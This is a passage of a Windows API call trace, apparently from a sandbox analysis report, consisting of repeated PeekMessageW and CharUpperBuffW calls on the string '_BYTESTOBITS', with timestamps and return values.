out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.294] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.295] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.295] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.295] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.295] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.302] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.302] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.303] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.303] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.304] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.304] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.305] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.306] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.306] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.306] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.308] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.318] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.337] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.337] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.337] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.339] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.339] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.339] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.339] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.339] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.339] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.339] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.339] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.339] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.339] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.339] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.340] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.340] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.340] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.340] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.340] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.340] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.340] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.340] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.340] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.340] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.340] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.341] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.341] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.341] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.341] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.342] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.342] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.343] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.343] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.343] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.343] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.343] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.343] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.343] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.343] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.343] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.343] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.343] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.344] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.344] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.344] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.344] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.344] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.344] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.344] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.344] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.344] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.344] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.344] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.345] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.345] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.345] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.345] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.345] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.345] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.345] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.346] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.346] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.346] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.346] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.346] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.346] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.346] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.346] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.346] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.347] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.347] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.347] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.347] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.347] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.347] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.347] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.347] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.347] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.347] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.347] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.348] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.348] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.348] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.348] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.348] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.348] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.348] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.348] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.348] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.348] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.348] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", 